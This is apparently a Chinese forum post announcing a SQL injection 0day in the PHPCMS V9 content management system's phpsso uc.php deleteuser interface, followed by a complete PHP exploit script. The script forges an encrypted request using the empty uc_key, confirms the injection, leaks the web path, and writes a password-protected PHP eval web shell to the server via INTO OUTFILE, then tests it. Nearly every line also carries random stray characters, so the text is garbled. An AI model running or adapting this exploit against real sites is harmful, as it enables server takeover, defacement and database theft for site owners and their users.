PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。/ M) b% f |5 v$ p' ?/ f; T
9 c! n0 E: ?7 w4 }* ]2 o
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。3 {2 D0 u/ k3 Y- Z7 f0 E, L- x
3 w) H1 l3 u( E& Z0 v漏洞分析:, A: z/ m* B4 k$ S! A; b
1.未启用ucenter服务的情况下uc_key为空
. Q5 V9 j( j$ ]* Cdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));6 S8 Y7 r4 ^, O0 d( a
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
# K4 z' b) Q/ o0 M public function deleteuser($get,$post) {3 z) C) p$ ^" ~, Q% z4 G0 B1 ?
pc_base::load_app_func('global', 'admin');" j D' x" i, e! N, O
pc_base::load_app_class('messagequeue', 'admin' , 0);
2 b$ W* }, h0 Y2 F$ q( X9 u M $ids = new_stripslashes($get['ids']);
4 j$ r" u& I, K/ P; d4 h/ C $s = $this->member_db->select("ucuserid in ($ids)", "uid");" Q/ [9 p+ U9 r4 ~. {, w* \
SQL语句为
9 x A! |8 h; l: Q7 TSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)* J0 J! o4 u2 K7 |+ U* v
y/ x9 Z4 K7 r) X( |利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell) O$ @! S( {& y$ Q& ?! O
<?php
, r) l4 N) D) j1 Hprint_r('
3 ]: L6 h. R+ m2 X/ Y---------------------------------------------------------------------------
3 M# B% ^$ I7 w+ L/ o: ]PHPcms (v9 or Old Version) uc api sql injection 0day' ~0 I( Z5 [6 w5 G
by rayh4c#80sec.com) u6 |( R. ]1 K0 F$ |3 h( H3 L
---------------------------------------------------------------------------
# e" s. t' t5 A/ ~( M4 U');. s7 X3 m* |2 d5 b7 \0 G' m
4 }6 U9 B6 ^4 J8 ^( P
if ($argc<3) {
A1 b" x% E6 P! |2 a! p$ v print_r('
/ R& J; `, W7 M- ~---------------------------------------------------------------------------. o" h6 q. ?4 ?: A
Usage: php '.$argv[0].' host path OPTIONS
. N0 j. [5 O, e8 p+ t; j6 q8 t4 V+ Ghost: target server (ip/hostname)
: b' X9 h% D2 H- Z& ^6 A6 Rpath: path to phpcms3 P# n: ]/ G+ l m) Z+ K
Options:: A$ R+ k0 o4 \
-p[port]: specify a port other than 80, Q# H" s M! k. g
-P[ip:port]: specify a proxy3 n g0 k4 G6 u; y
Example:1 b- R) X& w" z* o
php '.$argv[0].' localhost /% D7 @! J) m2 I
php '.$argv[0].' localhost /phpcms/ -p81' H1 R3 c! ~; m. Z9 l* c
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
5 P5 V+ t- p4 e* N/ P---------------------------------------------------------------------------
0 \" x2 o! a# S1 L7 a');
" t3 y! x2 ]# Y: G# v& I die;& S, [1 {# l! T6 z
}
* ]) |4 \% s) D
{* O& O/ U, b9 i& jerror_reporting(7);( C2 U4 D& F/ l/ B5 }
ini_set("max_execution_time",0);
- i3 P s$ s" `ini_set("default_socket_timeout",5);
& n7 q3 q' z0 ^' u% K, F( K
2 z% {& v4 S/ ~1 ffunction quick_dump($string)
8 B0 ]: f7 `5 u2 j; H g{
) v/ Z) K y1 H: v $result='';$exa='';$cont=0;3 C( j, [- ~$ Q: A" N
for ($i=0; $i<=strlen($string)-1; $i++)7 J8 n& A! ]) [/ e6 @
{7 \2 S" X P/ W" D2 e, T
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))0 Z: E7 d# R) U( \5 g, i' @; Y" D; L
{$result.=" .";}' T; i: |( U' v% S; M" q _' N
else
7 x5 k+ W5 S1 p- n9 Q6 w {$result.=" ".$string[$i];}
: V" y6 I# t6 {. g: S( E5 J. @# K if (strlen(dechex(ord($string[$i])))==2)
) g" `; _+ t: l' a2 Z# E& { {$exa.=" ".dechex(ord($string[$i]));}
' V7 w( X; ]9 _7 G& S% n* u else8 O+ R! o A' d9 i2 a0 I
{$exa.=" 0".dechex(ord($string[$i]));}
* O$ V+ O- j$ p7 e, y, d $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}- N. J8 M& y# w5 E' p) F: M8 P
}( r/ r; f5 Q% Z2 p1 _0 z; G9 ]
return $exa."\r\n".$result;: V. a/ f, m5 i( j9 h
}4 {0 N' @5 y: N( m9 o. H( S4 ]
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
% A9 b n8 g# y5 [) J8 f# i; h1 @4 m- m, ~
function send($packet)1 {: ]# J L) ~; ^
{
3 i# Y9 x6 c( A: J global $proxy, $host, $port, $html, $proxy_regex;
5 w& f3 c& _( P# u* v3 ] if ($proxy=='') {0 W" m- Z* a9 x$ w8 n# a( N
$ock=fsockopen(gethostbyname($host),$port);4 }$ `# E# Z; J
if (!$ock) {# X3 a" p2 H4 S9 h+ x
echo 'No response from '.$host.':'.$port; die;! t4 f3 r. c. D% n, S
}
+ q( @& V1 ?/ k }& C# B- n* f; @
else {
& ]& O' \' n- m; i! p( {4 E$ v' E: h $c = preg_match($proxy_regex,$proxy);
; y4 Q5 V5 M9 l# d+ ? if (!$c) {. ~" N7 r4 t- f6 b& @( n
echo 'Not a valid proxy...';die;* j1 @# y& i _7 @
}: W# e8 k; V. o' c
$parts=explode(':',$proxy);
( c* T$ m# \* v. M $parts[1]=(int)$parts[1];0 R3 p" D: v: T) q
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+ j6 V( x$ l* _4 F5 a $ock=fsockopen($parts[0],$parts[1]);+ Y1 D7 y* |" S5 p3 Q. }
if (!$ock) {
8 _$ e2 z- [8 d; e1 Y echo 'No response from proxy...';die;! B- b3 g1 i0 D8 Y8 t; ^
}4 d6 Q2 U; ?/ @6 M$ E
}
2 B/ ~- o- U- D( X* T2 n" h fputs($ock,$packet);* _9 y5 Q2 y8 e
if ($proxy=='') {' {" g) d% {% ~& `* \0 \
$html='';6 L/ x4 t5 s% r- c
while (!feof($ock)) {
% R5 o, J6 u. _0 e3 ^ $html.=fgets($ock);
8 Y% [; z" k: D9 {' K. G1 P, y; \ }% Q7 h3 i/ w2 `, L
}5 l3 Z3 R9 Q2 z
else {
0 I5 H! x6 B- U3 t5 p1 _1 E7 X# q1 ^ $html='';9 T/ J3 B9 n0 k: g
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
3 Y( H- x' n- ]/ Y% J $html.=fread($ock,1);
, c$ `5 ?' X6 O, L {+ S' x% G- C8 L }3 K5 y) o5 T& E; p0 d5 Y
}
( H2 l" C( r, c" t$ |- z fclose($ock);
, Q% G$ Y+ H+ N! K; F/ h}& j3 m# W4 H/ Z0 b, t
! N9 g' s0 b9 b5 L
$host=$argv[1];
a% v( D& L. W$path=$argv[2];2 Q% f. M ^8 s2 h+ Y( ?( _
$port=80;
% ~! y# A7 m8 a( f& V$proxy="";
% `2 L5 n( Y, x7 f, ?$ A; afor ($i=3; $i<$argc; $i++){3 y+ f/ _) _2 u3 y% Q( l' ?
$temp=$argv[$i][0].$argv[$i][1];
3 \$ y) A0 h( H( zif ($temp=="-p")
$ J, B$ X% Z# ]' L. m- u2 {{3 m* }8 e; H: v
$port=(int)str_replace("-p","",$argv[$i]);3 R/ a" x! E, g8 A' q* O
}
0 _! v5 D2 A$ r- pif ($temp=="-P")1 @1 c/ k2 c* Z! \
{, m7 q: b: |# m+ h2 D7 y
$proxy=str_replace("-P","",$argv[$i]);( L1 F) \" [9 Z7 s8 U$ a
}; i2 x, E4 u9 b3 J6 J4 p
}
* P1 J9 M; t) @, H; q+ A! O& ~& m
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
& w) a- D6 [/ n8 Uif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
% f! d0 S% Q5 w2 X) _8 }6 F7 D: o. i$ S2 `
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
1 t$ f$ j8 \& g! c7 I3 s6 p( B6 b: W" }# [, W2 i' C/ i0 g
$ckey_length = 4;; k. V+ x2 ?4 s/ o0 C- E
% A' h+ q0 T6 k2 `2 n
$key = md5($key ? $key : '');
9 {* d1 J, v- c0 W! e $keya = md5(substr($key, 0, 16));0 U# L0 V8 {- E
$keyb = md5(substr($key, 16, 16));
& }7 ]; g f8 U9 b) q5 v. c+ K' T $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';) f5 H9 F A- y, ?
) D, u$ W. ]$ h4 _# A $cryptkey = $keya.md5($keya.$keyc);
9 |8 G9 `# U% L) }9 m) U $key_length = strlen($cryptkey);
4 P% b0 j( V/ T2 @: K0 M7 A* w; _' H
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$ `/ `' M+ u* Y7 m $string_length = strlen($string);
# t6 o% o+ ^: W: C* S5 x, x0 h6 @6 X, E
$result = '';
6 d" V W- h. ] @1 L9 h: U $box = range(0, 255);
% O1 b+ s' G {' G2 m( `* w( i# e% L6 z6 e
$rndkey = array();7 j" B! E$ Z/ _" X8 v9 h
for($i = 0; $i <= 255; $i++) {3 O" u0 `( d1 Y- z& a) o3 j
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
2 C4 D9 k- F0 ` }
8 h+ e5 v: b8 W* p: H/ r* C! I, @6 R! Y6 B
for($j = $i = 0; $i < 256; $i++) {
# T/ E4 n' l5 J* I* d [ $j = ($j + $box[$i] + $rndkey[$i]) % 256;
% e* p8 T7 q! {" L $tmp = $box[$i];3 `4 {5 p+ @, R
$box[$i] = $box[$j];" D" e( P( }% b
$box[$j] = $tmp;
0 C9 i/ ~" Q6 Z+ V0 E* v8 P* h) U }7 g: } _+ ]+ J E) z
- w/ E/ f/ K, S$ [5 d( I4 a
for($a = $j = $i = 0; $i < $string_length; $i++) {$ d/ X& ~' u* a0 ]
$a = ($a + 1) % 256;
2 {8 J* `2 T" u% r" a. f3 k/ }9 Y $j = ($j + $box[$a]) % 256;
+ V% F' s. h5 N& V $tmp = $box[$a];
- i1 B( l$ G/ T* V3 q/ \ $box[$a] = $box[$j];) r2 J9 X1 O( G* y3 Y' b
$box[$j] = $tmp;! U# O& g& i+ |: D9 x
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
6 f! P5 K% G! n$ |5 t0 T! f5 d }
. ~9 ^: [; W3 T. u1 u% f3 c& N6 Q/ N2 o+ d% i0 E
if($operation == 'DECODE') {
6 K( x) X6 V! D& f1 ^$ Q. [ if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {" N4 s8 O% B7 ]$ S# M
return substr($result, 26);; Y Q0 q+ |, ?: }) n# w( {
} else {
% w# F6 w: Z$ B1 C! m0 v return '';
8 U4 ^( \( e" a }
" w! D7 `4 I; x+ ^ } else {# J" e# e7 P1 E4 O/ [9 e
return $keyc.str_replace('=', '', base64_encode($result));4 R+ A W2 ^9 j8 e/ b5 T; W
}
6 S4 Z0 W# R: A+ b) A2 S& d
& w# T% d1 V. l; M3 G) [}
* S$ `9 X. }% D5 |/ u
# ]# ?- r0 K2 y9 M$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
3 P. u2 c- l& u X5 f3 e$SQL = urlencode(authcode($SQL, "ENCODE", ""));: [6 w- O) w) F% \2 y
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";* x5 T0 W+ ?2 o) x, J9 e6 A
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
3 L% O4 ^) \" @5 ~5 }# i$packet.="User-Agent: Mozilla/5.0\r\n";9 y& S: s2 ?& g% u9 Y$ S
$packet.="Host: ".$host."\r\n";
6 m% `& n/ ]' a1 e& W- U$packet.="Connection: Close\r\n\r\n"; {6 J$ Q( V4 \# N
send($packet);
, R: V# `: L( W- iif(strpos($html,"MySQL Errno") > 0){
. f( k& e8 X' w: I; c7 Y; d& t! @2 l& lecho "[2] 发现存在SQL注入漏洞"."\n";$ D5 w4 [# A M* ?& V( {8 s
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";1 N+ e0 p" ^7 ?* H$ s
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";* g+ p! s8 F0 B0 P/ T
$packet.="User-Agent: Mozilla/5.0\r\n";: `' e% O" ?% d4 e
$packet.="Host: ".$host."\r\n";
2 o0 V& m7 z. M- I" A/ p* U$packet.="Connection: Close\r\n\r\n";
1 A0 q+ x- t2 a& bsend($packet);4 o8 T% H# r5 h5 [ E/ W+ t
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
/ ] O) g) [+ K3 l1 A/ r0 J* S//print_r($matches);( a. j- N" M& n3 |1 N2 g2 z5 h, {
if(!empty($matches)){+ d' p4 ?) Z" z! i- l0 X4 P
echo "[4] 得到web路径 " . $matches[0]."\n";
3 F9 B9 `1 S& i4 G; {9 }; F) v7 Eecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";& X3 @7 h7 s! x) M; C, m9 n' `. r
$SQL = "time=999999999999999999999999&ids=1)";5 V" t) t3 o( l5 i3 R0 h q! W, T
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#"; X: X( w( l. K9 M# j2 |4 i8 B
$SQL.="&action=deleteuser";
% V9 l( H1 t8 L6 o9 R" t: I$SQL = urlencode(authcode($SQL, "ENCODE", ""));) P' |1 E7 @, U |% a! V8 r# |' E/ N
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
: s8 U q0 a3 i5 H$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";: J8 L$ H2 Q% C- U7 Q; s
$packet.="User-Agent: Mozilla/5.0\r\n"; [' P: Y3 W+ E+ F9 x5 s
$packet.="Host: ".$host."\r\n";. P F* P8 A* Y, A; Y! A+ a) w
$packet.="Connection: Close\r\n\r\n";
- p, C" k& u, B1 H, X" a- b( x* Vsend($packet);
4 c) V1 P$ ?, w0 v1 D, C% H! Eif(strpos($html,"Access denied") > 0){
. Q8 T; G* D- M" ?) [echo "[-] MYSQL权限过低 禁止写入文件 ";1 \) ?8 a" k* K" _2 g
die;
% T2 C. T+ K( w# } l2 m' {, X}' q( I, p% F: |0 ~, w4 g' e
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";1 W* h$ z+ U6 }! L% \( N
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
" y9 b( E4 I* d5 X- t$ ~* F$packet.="User-Agent: Mozilla/5.0\r\n";- T/ H: J1 s+ m/ p% d+ _) u
$packet.="Host: ".$host."\r\n";) y! J r: E0 l' {; y# |
$packet.="Connection: Close\r\n\r\n";' r7 e' q: k3 C% C) g; Z4 ?1 q* p" ~
send($packet);: J J% w9 K6 g) ~
if(strpos($html,"<title>phpinfo()</title>") > 0){
, A1 ~' w! T J/ M9 Y! Vecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";9 z T5 h8 i5 a9 U
}$ ~2 D8 w4 M% W3 s- g5 ]2 i& ^
}else{
# K; x& U# K% h$ Recho "[-]未取到web路径 ";1 ^9 M; u* h3 W! _* Y- w0 d
}9 A6 z# i' f1 n" b
}else{* S6 [) i& O% G: ^
echo "[*]不存在SQL注入漏洞"."\n";
3 u1 H3 j7 J( K3 o+ W, n# D) [}$ ], x4 A" M3 E& v
# N- N2 J6 Y1 K2 w( v, C
?>
|6 h3 [& Q! [8 S" g$ O8 [ X |